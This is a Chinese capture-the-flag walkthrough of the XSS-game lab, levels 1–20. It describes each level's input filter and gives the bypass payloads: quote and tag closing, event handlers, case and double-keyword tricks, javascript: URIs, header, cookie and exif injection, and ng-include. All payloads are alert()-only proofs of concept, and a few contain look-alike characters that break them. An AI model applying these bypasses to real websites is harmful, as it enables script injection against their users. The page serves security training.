XSS-challenge
酒逢知己饮,诗向会人吟。
环境准备
PHP study
XSS-game-master 源码
level1
① 审计代码
对参数的输入输出没有做严格过滤。
② 解题思路
直接构造 js 脚本
?name=<script>alert('xss')</script>
如果 phpstydy 默认开启 magic_quotes_gpc 的话,会将单引号进行转义,即在单引号之前添加一个反斜杠,可以使用以下 payload 进行绕过
?name=<script>alert(/xss/)</script>
也可以使用以下代码对转义添加的反斜杠进行删除。
if(get_magic_quotes_gpc)
{$str = stripcslashes($str);
}
level 2
① 审计代码
- 使用 get 方法直接获取用户输入。
- 使用 htmlspecialchars() 函数对参数进行转义然后返回给浏览器进行输出
- 直接在 input 标签中输出。
htmlspecialchars()函数定义及用法在php中,htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,
返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个
空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志;
被转换的预定义的字符有:
&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>
② 解题思路
闭合 input 标签,然后插入脚本
"><script>alert(/xss/)</script>
闭合之后的 input 标签如下,后面多余的部分由于 html 有一定的容错率,所以不影响。
level 3
① 审计代码
② 解题思路
- 单引号闭合
- 相比较 level 2,在 input 标签中使用 htmlspecialchars() 函数进行转义,考虑用 on 事件进行绕过,注意使用注释符。
' onclick = alert('xss')//
或者
' onmouseover = alert('xss')//
level 4
① 审计代码
对尖括号进行过滤,替换为空。
② 解题思路
- 双引号闭合
- on 事件绕过,结合注释符
" onclick = alert('xss')//
或者
" onmouseover = alert('xss')//
level 5
① 代码审计
- 对输入转换为小写
- 对关键字进行过滤
② 解题思路
- 关键字过滤不全,可以使用 a 标签
- 双引号闭合
"><a href = "javascript:alert('xss')">click me
level 6
① 审计代码
- 直接获取用户输入参数
- 对关键字进行转义
- 直接输出在 input 标签
② 解题思路
相比 level 5,添加了更多的关键字进行转义,但是对用户输入的参数没有进行转换为小写,所以可以用大写绕过。
"><SCript>alert('xss')</scRipt>
level 7
① 代码审计
- 将用户的输入参数转为小写
- 将关键字替换为空
② 解题思路
对关键字替换为空且只替换一次。故可以采用双写绕过。
"><scrscriptipt>alert('xss')</scrscriptipt>
level 8
① 代码审计
- 将输入转换为小写
- 对关键字进行转义
- 在 input 标签中将输入进行 HTML 实体化
②解题思路
使用为协议绕过。javascript:alert(‘xss’)
同时要对 script 进行 HTML 编码
注意:<img src=1 onerror="javascript:%61lert(1)"> 不可成功执行
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
javascript:alert('xss')
如果用 Hackbar 提交参数的话,要先进行 URL 编码
level 9
① 代码审计
相比 level 8 ,此关多了一个检测 http:// 的步骤
② 解题思路
- 在输入参数中添加 http:// 字段
javascript:alert('http://')
level 10
① 代码审计
- 有两处输入,keyword 和 t_sort,但只有 t_sort 有效。
- 对参数的尖括号进行替换为空
- 有效的 input 标签类型为 hidden
② 解题思路
- 使用 t_sort 接受用户输入
- 使用 on 事件进行尖括号绕过
- 将 t_sort 的 input 标签中的类型有隐藏设置为可见
- 双引号闭合
" onclick = alert('xss') type = "text"
或者
" onmouseover = alert('xss') type = "text"
level 11
① 代码审计
- 两处输入:keyword 和 t_sort
- keyword 和 t_sort都是以 HTML 实体输出,且 t_sort 的 input 标签还是隐藏的,htmlspecialchars() 函数能转义双引号。
- referer 参数过滤尖括号之后直接输出
② 解题思路
使用 burpsuite 改包,将 referer 参数的后面添加 on 事件
注意:必须是截取从 level10 到 level11 的请求包才有 referer 参数
(或者使用 Herder Modify 插件修改 HTTP 头部,更方便!!!)
(referer参数)" οnclick=alert('xss') type = "text"
或者
(referer参数)" onmouseover=alert('xss') type = "text"
level 12
① 审计代码
相比 level 11,此时获取的是 HTTP 请求包的 user_agent 参数
② 解题思路
- 修改数据包的 user_agent 参数
- 使用 on 事件
- 双引号闭合
(user_agent 参数)"onclick = alert('xss') type = "text"
或者
(user_agent 参数)"onmouseover = alert('xss') type = "text"
level 13
① 审计代码
相比较 level 12 ,此 level 获取 cookie 参数
② 解题思路
截包修改 cookie 参数
level 14
详情百度 exif XSS
,该题没有复现。
① 审计代码
源码中内嵌了一个链接,该链接旨在解析上传图片的 exif 信息。
② 解题思路
在上传图片的 exif 元数据中插入 XSS payload ,通过 exif 解析器来触发。
修改 exif 信息的方法。
Windows 系统:右键图片 – 属性 – 详细信息
Linux 系统:
- 查看图片详情
exiftool brute.jpeg
- 将 xss 代码写入图片某个属性
exiftool -artist=' "><img src=1 onerror=alert(1)>' brute.jpeg
level 15
① 审计代码
AngularJS ng-include 指令
定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
② 解题思路
前提是要能访问得到 https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js
(这里是翻了墙才访问得到)
类似于文件包含。
?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
level 16
① 审计代码
- 对输入参数转换为小写
- 对空格进行转义
- 参数输出页面
② 解题思路
- 使用 img 标签
- 用 %0a 或 %0d 代替空格
?keyword=<img%0Dsrc=1%0Aonerror=alert(1)>
level 17
① 审计代码
<embed>
元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。
② 解题思路
<embed src="xsf01.swf?a=b" heigth="100%" width="100%">
<embed src="xsf01.swf?a=b" onclick="alert(333)" heigth="100%" width="100%">
在源码的embed
标签中,src
的属性值没有引号,所以在输入arg02
时在b
之后加一个空格,浏览器到b
就停止判断,给src
加上双引号;而将onmouseover
看作另外一个属性
level 18
level 18 绕过原理和 level 17 一样
level 19-20
详情百度 flash xss
猪头2020.1.8
XSS-challenge相关推荐
- 050 XSS通关小游戏——xss challenge
文章目录 一:下载与部署 二:通关过程 首页 level-01 没有任何机制 level-02 双引号闭合标签 level-03 单引号闭合标签+html事件 level-04 双引号闭合标签+htm ...
- xss challenge 解题思路(8-18)
challenge 8: js伪协议的应用,请使用ie浏览器 输入如下javascript:alert(document.domain); challenge 9 : 提示要用utf-7 xss来做, ...
- xss challenge 解题思路(1-3)
challenge1: 用很基本的方法即可,截图如下: 提交后成功弹窗,完成. challenge2 这次我们发现我们输入的内容被放入value="" 中,所以需要将前面的结构闭合 ...
- 【20171025中】alert(1) to win 脚本渲染自建
游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE ht ...
- 乌鸦安全2021年度文章合集
微信公众号:乌鸦安全 扫取二维码获取更多信息! 说明 乌鸦安全精选原创文章合集,基本上大部分都是原创,当然还有一部分文章由其他师傅投稿提供,在此感谢各位师傅的投稿和帮助! 文章末尾有现金红包奉上! 你 ...
- 【Web安全笔记】之【4.0 常见漏洞攻防】
文章目录 4.0 常见漏洞攻防 4.1 SQL注入 4.1.1 注入分类 1. 简介 2. 按技巧分类 1). 盲注 2). 报错注入 3). 堆叠注入 3. 按获取数据的方式分类 1). inban ...
- 86.3 安全性问题 xss、DDOS、CC、sql注入 攻击等
主键id 暴露在url 中会暴露表的总量,而且如果监视一段时间主键,就能很低成本地得到这个网站的用户增量. Cookie中的信息是明文保存的,意味着攻击者可以通过猜测并伪造Cookie数据破解系统. ...
- XSS注入进阶练习篇(三) XSS原型链污染
XSS原型链污染 1.原型链的概念 1.1 构造函数的缺点 1.2 prototype 属性的作用 1.3 原型链 1.4 `constructor`属性 1.5 `prototype`和`__pro ...
- [WP/CTFshow]XSS Web316-333
CTFSHOW WP 题目的原理就是靶机的bot每隔一段时间访问输入的内容,模拟了反射型XSS 316.需要配套接收端XSS脚本 如果未过滤script且对外部资源加载无限制的情况下,可以指定src为 ...
- ctfshow XSS web316-web333 wp
可能写的有点啰嗦,记录自己做题的过程 文章目录 web316 web317 web318 web319 web320 web321 web322 web323 web324 web325 web326 ...
最新文章
- Oracle数据文件转移
- Squid配置二级代理(父代理)
- golang 删除目录所有内容
- 现在使用控件, 更喜欢继承(覆盖控件已有的函数,很奇怪的一种使用方式)...
- 文巾解题 15. 三数之和
- 一文整理深度学习【深度学习win10的Docker配置】
- SAP Commerce Cloud Build Manifest Components
- mysql正则替换字符串_mysql中替换字符串(正则) 模糊
- 在CentOs7上yum安装redis
- 企业实战(Jenkins+GitLab+SonarQube)_12_Jenkins+soanr服务器搭建和代码检查
- 【手把手带你入门深度学习之150行代码的汉字识别系统】学习笔记 ·003 用训练模型进行预测
- Get Network Utilization
- 怎么通过scanf读取一个空白前的字符
- 【数学建模】算法模型(三)|模糊综合和灰色关联分析 元胞自动机模型 图论 BP神经网络算法 马尔可夫链蒙特卡罗算法(MCMC)
- 《WF本质论》第一章OpenSesame我的实现
- 阿里巴巴矢量图标库使用
- 分享Word如何转PDF的方法,还不快来看看
- 火山视频在一键去水印网站上解析教程,火山视频去水印教程
- 北京的哪些地方开的发票可参与国家税务局的摇奖
- windows vista本该有却没有的功能
热门文章
- nats streaming订阅
- 疯狂的架构——著名科技公司组织结构图一览
- Echarts实现饼图+饼图中心文字显示
- Keil暗色模式配置文件
- RT-Thread,env.exe运行pkgs --update,无法更新软件包
- Jenkins 自动化部署流水线优化经验
- 中央电大 c语言程序设计a 试题,中央电大开放本科计算机科学与技术专业C语言程序设计(A)试题_1007...
- matlab氢原子杂化轨道,原子及分子轨道演示软件——Orbital Viewer
- 通信工程和计算机考研哪个好,通信工程考研还是就业
- 设计n位乘加器(先乘后加)Design a n-bit multiplier (firstly multiply and then add)